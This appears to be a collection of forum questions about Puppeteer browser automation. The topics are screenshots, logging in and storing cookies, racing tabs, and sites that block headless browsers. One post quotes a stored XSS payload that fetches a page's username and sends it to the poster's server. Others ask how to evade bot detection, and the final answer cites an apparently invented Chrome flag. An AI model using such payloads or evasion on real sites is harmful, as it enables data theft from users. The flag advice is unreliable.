const browser = await puppeteer.launch({ headless: true });
const page = await browser.newPage();
await page.goto(url, { waitUntil: "networkidle2", timeout: 0 });
await page.screenshot({ path: `image1.png`, fullPage: true });
I want to capture the screenshot of the whole page content. But my code returns only a preloader image. How can i skip capturing the preloader, and get the real screenshot.
I tried using page.waitForSelector(), It gives me timeout error.
Related
There is a website that has an iframe instead of a login page, i need to log-in via the iframe and store all of the cookies in a json format. I figured i could just copy the iframe's link and log-in via that, but it's redirecting me to a login page.
Here is my current code:
const puppeteer = require('puppeteer-extra');
test()
async function test() {
const browser = await puppeteer.launch({
headless: true,
ignoreHTTPSErrors: true
})
const page = await browser.newPage()
await page.setViewport({
width: 1920,
height: 1280,
deviceScaleFactor: 1,
});
await page.goto('https://api.librus.pl/OAuth/Authorization?client_id=46&response_type=code&scope=mydata', {
waitUntil: 'networkidle0',
timeout: 0
});
*stopping redirects*
*somehow storing cookies into a .json file*
I have a problem with my school project. I need to be able to log on to a project site, which have random load times, and race against others to find data on it. I've already tried Promise.all, Promise.race, Promise.any and await async. For now I managed to get all the tabs to load simultaneously, but I am still unable to reassign the fastest loading tab to page. Does anyone have any idea how those tabs can race against each other, assign the fastest to page and close remaining ones?
import puppeteer from 'puppeteer'
(async() => {
const browser = await puppeteer.launch({
headless: false,
defaultViewport: null,
executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
});
let page
await browser.newPage()
await browser.newPage()
await browser.newPage()
await browser.newPage()
await browser.newPage()
const url = 'https://www.amazon.co.uk'
const pages = await browser.pages()
await Promise.any(
[
gotopage(pages[0], url),
gotopage(pages[1], url),
gotopage(pages[2], url),
gotopage(pages[3], url),
gotopage(pages[4], url),
])
})();
async function gotopage(page, url) {
await page.goto(url)
await page.reload()
}
I'm trying to reach a website using this browser variable (NodeJS - puppeteer):
var browser = await puppeteer.launch({
// executablePath: '/opt/homebrew/bin/chromium',
args: [
"--enable-features=NetworkService",
"--no-sandbox",
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-accelerated-2d-canvas',
'--no-first-run',
'--no-zygote',
"--disable-setuid-sandbox"],
userDataDir : user_dir,
ignoreHTTPSErrors: true,
headless:true
});
const HomePage = 'https://signin.website.com';
var home_page = await browser.newPage();
try{
await home_page.goto(HomePage , { timeout: 20000 });
} catch (error) {
await browser.close();
}
await home_page.setRequestInterception(true);
home_page.on('request', async (request) => {
request.continue();
});
home_page.on('response', async (response) => {
const request = response.request();
if (request.url() == 'https://host.sample.com') {
if("x-ut-sid" in response.headers()){
token_list[email] = response.headers()['x-ut-sid'];
await update_token(email , token_list[email] , password);
console.log("token Updated");
}
}
});
I have a strange problem, when I run source on VS Code it runs ok but when I put it on dedicated server it goes with error "Unsupported Browser" on return;
On my local and using VS Code I used Puppeteer (^15.3.2) but nether this also the version (^18.0.5) didn't work on dedicated server.
(Sorry for my bad English)
more details about when I see the error:
I need to log in to this website to see some user details and show them in my website. I can open the page in puppeteer but when I type username and password and click on login always "Unsupported Browser" error thrown from host.
I used 2 methods to fill inputs and click on login:
1-
await home_page.type("input[id='email']", email);
await home_page.type("input[id='password']", password);
await home_page.click("a[id='logInBtn']");
2-
await page.keyboard.type(useremail, {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.type(userpass, {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Enter', {delay: 100});
Why I get this error, I know it may be about UserAgent and header options of puppeteer ... ?!
I am stock on this problem for about 2 weeks, please feel free to asking me questions to get more clear vision of my problem if needed. thanks
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535', { waitUntil: 'networkidle0', timeout: 0 });
await page.screenshot({ path: 'discor.png' })
The main idea here is that if I puppeteer.launch() site is loaded whereas I use puppeteer.connect() is looks as if Discord block my script. Are there any ways to bypass this restriction of Discord?
This url redirects you to a login page, you'd then have to actually log in as you would do manually:
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535');
// enter email
const emailtarget = await page.waitForSelector("input[name=email]", {visible: true});
await emailtarget.type("my#email.com");
// enter password
const passtarget = await page.waitForSelector("input[name=password]", {visible: true});
await passtarget.type("mySecretPass");
// submit
const submitBtn = await page.waitForSelector("button[type=submit]", {visible: true});
await submitBtn.click();
// wait for redirection
await page.waitForNavigation();
// should be logged in, take screenshot
await page.screenshot({ path: 'discor.png' });
I have a page (secretpage.php) containing JavaScript in the HTTP response which sends the value of the userName parameter to my server.
<svg/onload=fetch('http://localhost:8080/username='+document.getElementById("userName").innerHTML)>
On non-headless mode running Chrome, the JavaScript executed successfully and I got a callback on my local server with the value of the "userName" sent back.
However, on headless mode, the JavaScript did not execute at all which is quite puzzling.
I have attached my js file (test.js) here for reference.
node test.js
Output of test.js below
const puppeteer = require('puppeteer');
(async () => {
//const browser = await puppeteer.launch({ headless: false });
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('http://localhost/forum/');
await page.type("#lbluserName", "john", { delay: 100 });
await page.type("#lblpassword", "password", { delay: 100 });
await page.click("#btnLogin");
//await page.waitForNavigation();
await page.waitFor(5000);
await page.setViewport({
width: 1280,
height: 800,
deviceScaleFactor: 1,
});
await page.goto('http://localhost/forum/pages/secretpage.php');
await page.waitForSelector('#comments');
await page.screenshot({ path: 'screenshot.png' });
await browser.close();
})();
Could anyone please help with troubleshooting this as this is rather peculiar?
Thank you!
I think you need to run chrome with enabling js in headless mode.
await puppeteer.launch({
args: [
'--enable-features=ExperimentalJavaScript'
]
})